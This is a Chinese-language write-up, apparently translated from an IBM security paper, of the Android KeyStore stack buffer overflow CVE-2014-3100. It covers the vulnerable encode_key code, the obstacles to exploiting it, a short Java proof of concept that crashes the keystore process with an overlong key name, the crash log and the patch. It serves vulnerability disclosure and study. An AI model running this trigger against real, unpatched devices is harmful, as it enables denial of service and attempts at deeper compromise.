標籤:
/*
本文章由 莫灰灰 編寫,轉載請註明出處。
莫灰灰 郵箱: [email protected]
*/
1. KeyStore Service
在Android中,/system/bin/keystore進程提供了一個安全儲存的服務。在過去的版本號碼中。其它程式主要用過UNIX socket的守護進程/dev/socket/keystore去訪問這個服務。
然而。如今我們能夠通過Binder機制去訪問它。
每個Android使用者都有一塊其私人的安全儲存地區。
全部秘鑰資訊使用一個隨機key並用AES密碼編譯演算法加密。加密好的密文採用另外一個key加密後儲存到本地磁碟。
(後面的key通過PKCS5_PBKDF2_HMAC_SHA1函數算出來的)
在最近的一些Android版本號碼中,認證管理(比如RSA演算法的私人key)是能夠通過專門的硬體做支援的。這也就是說。keystore的key僅僅是用來標識儲存在專有硬體上的真正key。
雖然有專有硬體的支援,可是還是會有一些認證,比如VPN PPTP的認證,依舊會儲存在本地磁碟上。
圖一非常好的闡述了keystore安全儲存機制的工作原理。
當然,很多其它的關於keystore服務的一些內部資訊大家都能夠在網上找到相關資料。
2. Simplicity
通過源碼(keystore.c)中的凝視我們能夠知道KeyStore被設計出來的時候想的稍微簡單了點:
/* KeyStore is a secured storage for key-value pairs. In this implementation,* each file stores one key-value pair. Keys are encoded in file names, and* values are encrypted with checksums. The encryption key is protected by a* user-defined password. To keep things simple, buffers are always larger than* the maximum space we needed, so boundary checks on buffers are omitted.*/
代碼實現起來儘管簡單,可是緩衝區的大小並不總是比他們設想的最大空間要小。
3. Vulnerability
easy被攻擊的緩衝區主要是在KeyStore::getKeyForName函數中。
ResponseCode getKeyForName (<span style="white-space:pre"></span>Blob * keyBlob ,<span style="white-space:pre"></span>const android :: String8 & keyName ,<span style="white-space:pre"></span>const uid_t uid ,<span style="white-space:pre"></span>const BlobType type ){char filename [ NAME_MAX ];encode_key_for_uid ( filename , uid , keyName );...} 這個函數有好幾個調用者,外部程式能夠非常easy的通過Binder介面來調用它。(比如。int32_t android::KeyStoreProxy::get(const String16& name, uint8_t** item, size_t*
itemLength))。因此,惡意程式能夠非常輕鬆的控制變數keyName的值和長度。
接下來,encode_key_for_uid函數中調用了encode_key函數,這個函數在沒有邊界檢查的情況下會造成filename的緩衝區溢位。
static int encode_key_for_uid (char * out ,uid_t uid ,const android :: String8 & keyName ){int n = snprintf ( out , NAME_MAX , "% u_ ", uid );out += n;return n + encode_key ( out , keyName );}static int encode_key (char * out ,const android :: String8 & keyName ){const uint8_t * in = reinterpret_cast < const uint8_t * >( keyName . string ());size_t length = keyName . length ();for ( int i = length ; i > 0; --i , ++ in , ++ out ) {if (* in < '0' || * in > '~ ') {* out = '+' + (* in >> 6);*++ out = '0' + (* in & 0 x3F );++ length ;} else {* out = * in ;}}* out = '\0 ';return length ;}
4. Exploitation
惡意程式假設要使用這個漏洞,那麼還須要解決例如以下幾個問題:
(1).資料運行保護(DEP)。這個能夠採用Return-Oriented Programming (ROP)的方法繞過。
(2).地址隨機化(ASLR)。
(3).堆棧檢測(Stack Canaries)。
(4).編碼。小於0x30 (‘0‘)或者大於0x7e (‘~‘)的字元會被編碼之後再寫回到緩衝區中。
只是好在Android KeyStore服務被結束了之後立即會重新啟動,這個特性加大了攻擊成功的機率。此外,攻擊者理論上能夠使用ASLR去對抗編碼。
5. Impact
各種資訊泄露
6. Proof-of-concept
能夠通過下面Java代碼觸發漏洞:
Class keystore = Class.forName("android.security.KeyStore");Method mGetInstance = keystore.getMethod ("getInstance");Method mGet = keystore.getMethod ("get", String.class);Object instance = mGetInstance.invoke( null ); infmGet.invoke( instance ," aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ");
執行上述代碼後。KeyStore進程奔潰,日誌例如以下:
F/ libc ( 2091): Fatal signal 11 ( SIGSEGV ) at 0 x61616155 ( code =1) , thread 2091 ( keystore )
I/ DEBUG ( 949): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/ DEBUG ( 949): Build fingerprint : ‘ generic_x86 / sdk_x86 / generic_x86 :4.3/ JSS15
J/ eng . android - build .20130801.155736: eng / test - keys ‘
I/ DEBUG ( 949): Revision : ‘0‘
I/ DEBUG ( 949): pid : 2091 , tid : 2091 , name : keystore >>> / system / bin / keystore <<<
I/ DEBUG ( 949): signal 11 ( SIGSEGV ), code 1 ( SEGV_MAPERR ) , fault addr 61616155
I/ DEBUG ( 949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030
I/ DEBUG ( 949): esi b82a78a0 edi 000003 e8
I/ DEBUG ( 949): xcs 00000073 xds 0000007 b xes 0000007 b xfs 00000000 xss 0000007 b
I/ DEBUG ( 949): eip b7774937 ebp 61616161 esp bff85d20 flags 00010202
I/ DEBUG ( 949):
I/ DEBUG ( 949): backtrace :
I/ DEBUG ( 949): #00 pc 0000 c937 / system / bin / keystore ( KeyStore :: getKeyForName ( Blob * ,
android :: String8 const & ,
unsigned int , BlobType )+695)
I/ DEBUG ( 949):
I/ DEBUG ( 949): stack :
I/ DEBUG ( 949): bff85ce0 00000000
...
I/ DEBUG ( 949): bff85d48 00000007
I/ DEBUG ( 949): bff85d4c bff85ed0 [ stack ]
I/ DEBUG ( 949): bff85d50 bff8e1bc [ stack ]
I/ DEBUG ( 949): bff85d54 b77765a3 / system / bin / keystore
I/ DEBUG ( 949): bff85d58 b7776419 / system / bin / keystore
I/ DEBUG ( 949): bff85d5c bff85ed4 [ stack ]
I/ DEBUG ( 949): ........ ........
I/ DEBUG ( 949):
I/ DEBUG ( 949): memory map around fault addr 61616155:
I/ DEBUG ( 949): ( no map below )
I/ DEBUG ( 949): ( no map for address )
I/ DEBUG ( 949): b72ba000 - b73b8000 r -- / dev / binder
7. Patch
getKeyForName函數不再使用C風格的字串去儲存filename了。另外,使用了getKeyNameForUidWithDir函數去替代encode_key_for_uid產生編碼的密鑰名。前者正確的計算了編碼後密鑰的長度。
ResponseCode getKeyForName ( Blob * keyBlob , const android :: String8 & keyName , const uid_t uid ,const BlobType type ) {android :: String8 filepath8 ( getKeyNameForUidWithDir ( keyName , uid ));...}android :: String8 getKeyNameForUidWithDir ( const android :: String8 & keyName , uid_t uid ) {char encoded [ encode_key_length ( keyName ) + 1]; // add 1 for null charencode_key ( encoded , keyName );return android :: String8 :: format ("% s /% u_ %s ", getUserState ( uid ) -> getUserDirName () , uid ,encoded );}
原paper:http://www.slideshare.net/ibmsecurity/android-keystorestackbufferoverflow
Android KeyStore Stack Buffer Overflow (CVE-2014-3100)